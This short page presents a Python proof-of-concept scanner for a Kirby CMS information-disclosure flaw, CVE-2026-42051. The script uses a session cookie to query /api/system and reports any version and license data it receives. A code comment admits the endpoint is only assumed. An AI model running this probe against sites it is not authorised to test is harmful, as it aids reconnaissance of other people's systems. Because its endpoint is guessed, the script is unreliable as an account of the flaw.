CVE-2026-42051 Kirby CMS信息泄露漏洞

import requests def check_cve_2026_42051(target_url, session_cookie): """ PoC for CVE-2026-42051 Checks if the Kirby CMS API leaks license and version info. """ headers = { "Cookie": session_cookie, "User-Agent": "Mozilla/5.0 (PoC Scanner)" } # Assuming the endpoint is /api/system or similar, based on description endpoint = f"{target_url.rstrip('/')}/api/system" try: response = requests.get(endpoint, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check if sensitive keys exist in response if 'license' in data or 'version' in data: print(f"[+] Vulnerability Confirmed!") print(f" Version: {data.get('version')}") print(f" License Data: {data.get('license')}") return True print("[-] Vulnerability not detected or endpoint changed.") return False except Exception as e: print(f"[!] Error: {e}") return False # Usage # check_cve_2026_42051("http://target-kirby-site.com", "kirby_session=xyz123")